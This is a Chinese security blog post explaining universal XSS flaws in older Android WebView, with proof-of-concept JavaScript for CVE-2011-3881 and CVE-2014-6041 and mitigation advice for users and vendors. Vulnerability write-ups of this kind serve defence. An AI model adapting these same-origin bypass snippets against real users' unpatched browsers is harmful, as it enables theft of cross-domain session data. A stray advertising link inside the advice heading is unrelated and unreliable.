• Android安全之WebViewUXSS漏洞


    Android安全 WebView UXSS app开发 漏洞分析 移动安全

    0X01 前言

    XSS是我们比较熟悉的一种攻击方式,包括存储型XSS、反射型XSS、DOM XSS等,但UXSS(通用型XSS)另外一种不同的漏洞类型,主要体现在漏洞的载体和影响范围上。

    XSS问题源于某一个WEB站点或应用存在安全问题,但受同源策略的约束,攻击者只能访问存在漏洞的站点的回话信息,无法访问其他域的回话信息。

    UXSS则主要源于浏览器或浏览器扩展程序的安全缺陷,不需要网站本身存在漏洞也可以触发漏洞,攻击者可以获取到浏览器打开和缓存的所有页面(不同域)的会话信息,因此UXSS漏洞的杀伤力极强。

    由于Google把WebKit移植到了Android上,并将其作为WebView组件封装在SDK中,但一些之前出现在PC版chrome的WebKit漏洞在SDK中并未修复,因此历史的悲剧在android上再一次上演:

    相关漏洞可以上https://bugs.chromium.org/p/chromium/issues/list搜索。下文介绍几个对应的漏洞。

    0X02 CVE-2011-3881

    WebKit, as used in Google Chrome before 15.0.874.102 and Android before 4.4, allows remote attackers to bypass the Same Origin Policy and conduct Universal XSS (UXSS) attacks via vectors related to

    (1) the DOMWindow::clear function and use of a selection object,

    (2) the Object::GetRealNamedPropertyInPrototypeChain function and use of an __proto__ property,

    (3) the HTMLPlugInImageElement::allowedToLoadFrameURL function and use of a javascript: URL,

    (4) incorrect origins for XSLT-generated documents in the XSLTProcessor::createDocumentFromSource function, and

    (5) improper handling of synchronous frame loads in the ScriptController::executeIfJavaScriptURL function.

    该漏洞主要由于HTMLPlugInImageElement::allowedToLoadFrameURL函数中对Javascript URL地址校验不足,对源检测不全导致的跨域问题:

    POC:

    <script>window.onload = function(){

        object = document.createElement("object");

        object.data = "http://google.com/";

        document.body.appendChild(object);

        object.onload = function() {

        object.data = "javascript:alert(document.body.innerHTML)";

        object.innerHTML = "foo";

        }

    }</script>

    0X03 CVE-2014-6041

    The Android WebView in Android before 4.4 allows remote attackers to bypass the Same Origin Policy via a crafted attribute containing a u0000 character, as demonstrated by an onclick="window.open ('u0000javascript:  sequence to the Android Browser application 4.2.1 or a third-party web browser.

    由于很多厂商都是直接使用系统自带的WebView,这将该漏洞的影响进一步扩大化,致使当时很多主流的应用纷纷中枪。

    POC:

    <input type=button value="test" onclick="

      a=document.createElement('script');

      a.id='AA';

      a.src='u0000https://js.stripe.com/v2/';

      document.body.appendChild(a);

      setTimeout(function(){if(typeof(document.getElementById('AA'))!=='undefined'){alert(Stripe);}

    else{alert(2);}}, 400);

    return false;">

    0X04 检测

    这类漏洞可以通过御安全动态的方式进行自动化的检测,相关检测样例可以从https://bugs.chromium.org/p/chromium/issues/detail?id=xxx(bugid)中查询到。

    0X05 安全建议 悦德财富:https://www.yuedecaifu.com

    前面提到的这些UXSS漏洞都已经在Android 4.4中修复,同时它也提供了自动升级webkit的功能,以便及时修复漏洞。

    用户:

    1)        尽量采用最新版的Android系统

    2)        尽量不要随意点击安全性未知的链接

    厂商:

    1)        客户端使用onPageStarted (WebView view, String url, Bitmap favicon)方法在跳转前进行跨域判断

    2)        使用最新的Webkit内核,但APK的size会变大,并且后续需要跟进Google Webkit官方进行更新。

    3)        客户端对iframe object标签属性进行过滤

    4)      定期使用漏洞工具检测(如御安全的漏洞库将根据市场出现的样本同步更新)

    0X06 参考

    http://drops.wooyun.org/tools/3186

    https://bugs.chromium.org/p/chromium/issues/list

    https://security.tencent.com/index.php/blog/msg/70

  • 相关阅读:
    说说 C# 9 新特性的实际运用
    如何在Linux上使用VIM进行.Net Core开发
    写给程序员的机器学习入门 ---- 系列文章
    Java多线程Thread/Runnable/Callable之间的区别
    多种方式C#实现生成(条码/二维码)
    二维码(QR code)基本知识
    IntelliJ IDEA基本配置
    nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议,还支持内网http代理、内网socks5代理、p2p等
    HTTP隧道ABPTTS——加密型的http隧道,todo自己搭建一个玩玩
    Neo-reGeorg ——目前比较好用的http隧道工具,支持本地建立 socks5 代理
  • 原文地址:https://www.cnblogs.com/oceansea/p/5959375.html
Copyright © 2020-2023  润新知